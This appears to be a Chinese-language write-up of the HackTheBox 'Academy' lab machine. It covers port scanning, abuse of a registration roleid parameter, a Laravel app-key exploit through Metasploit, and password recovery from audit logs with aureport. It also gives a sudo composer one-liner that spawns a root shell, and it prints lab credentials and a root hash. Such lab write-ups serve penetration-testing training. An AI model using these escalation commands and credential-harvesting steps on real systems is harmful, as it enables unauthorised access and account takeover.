0%

HackTheBox-Academy

  • Name:Academy
  • OS:Linux

0x01 信息收集

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -p- academy.htb

22/tcp open ssh
80/tcp open http
33060/tcp open mysqlx

nmap -p 20,80,33060 -sC -sV academy.htb

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Hack The Box Academy
33060/tcp open mysqlx?
1 service unrecognized despite returning data.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

directory busting

扫目录的图忘截了。。

1
2
3
4
5
6
7
http://academy.htb

home.php(302)
login.php(200)
register.php(200)
admin.php(200)
config.php(200)

0x02 漏洞利用

在注册页面发现一个值roleid

image-20201128205952499

重新注册个新账号并更改下

image-20201128210038004

回到admin.php登陆到admin.php后,得到两个用户名和一个子域名

image-20201128210106610

接着访问,看起来是个Laravel框架。

image-20201128210525552

这里泄露了app-key

image-20201129150217237

emmm 在exploitdb找到可以有可以利用的模块

image-20201128221127020

0x03 提权

立足点

因为msf里面有直接的模块可以拿来利用,设置好参数后,就可以了

image-20201129150154957

image-20201128221045759

提升至cry0l1t3

拿到立足点,上传信息收集脚本,找到数据库密码,使用数据库密码尝试切换其他用户。

image-20201128234542558

1
cry0l1t3:mySup3rP4s5w0rd!!

使用该密码成功切换到cry0l1t3用户

image-20201129111214909

该用户的组权限为

1
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)

拥有adm权限的可以使非root用户对系统产生的日志(/var/log下的系统日志)进行审计。

然而有71份日志文件左右,得看到什么时候。。得先了解哪部分是和登陆相关的日志。

image-20201129111535305

  • auth.log ssh和sudo登陆相关的,也会存放错误密码。
  • Audit.log 这个是审核系统储存日志项相关文章
  • ./apache2 下的就是web日志了。
  • dmesg linux内核的相关日志信息
  • kern 也是系统内核消息。
  • Syslog 日志守护进程日志
  • ./mysql 数据库日志

web日志,没有记录post参数。

image-20201129130828907

sshd 登陆日志,没有错误密码可以拿来尝试,用网站的数据库配置也连不上数据库。

提权至mrb3n

audit能记录

日期和时间,类型,以及事件结果。

主题和对象的敏感性标签

事件关联与触发事件的用户身份。

所有对审核配置的修改以及尝试访问审核日志文件。

所有认证机制的使用,例如 SSH、Kerberos、以及其他

对于任何信任数据库的改变,例如 /etc/passwd.

尝试把信息输入系统,或者从系统中输出信息

包含或者排除以用户身份,主题和对象标签以及其他属性为基础的事件

大致格式就是:

时间类型 时间戳:特殊id 进程id 用户id 审核用户id 会话id 命令 (可执行路径)(data)

最后在研究audit的时候发现了这条命令。

1
aureport --tty

image-20201128235642994

找了一下其他命令的相关用法,这样子也是能看到的

1
ausearch -ui 0

image-20201129123650899

这里的data=的值是段hex。

image-20201129145214158

提权至root

拿到密码后,直接su到mrb3n用户,sudo -l。

image-20201128235717492

提权很简单

1
2
3
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x

image-20201129000215387

1
2
root hash
$6$Haots4JVo2R7o2wP$XxlDAw9FgIGHZapROvxiKByJrGiZT0KHkoB9mLC4npT9wDOFsO3p9ad0ScF3tCKT.hk7uweN7KDK4EcmBEKv./

0x04 参考链接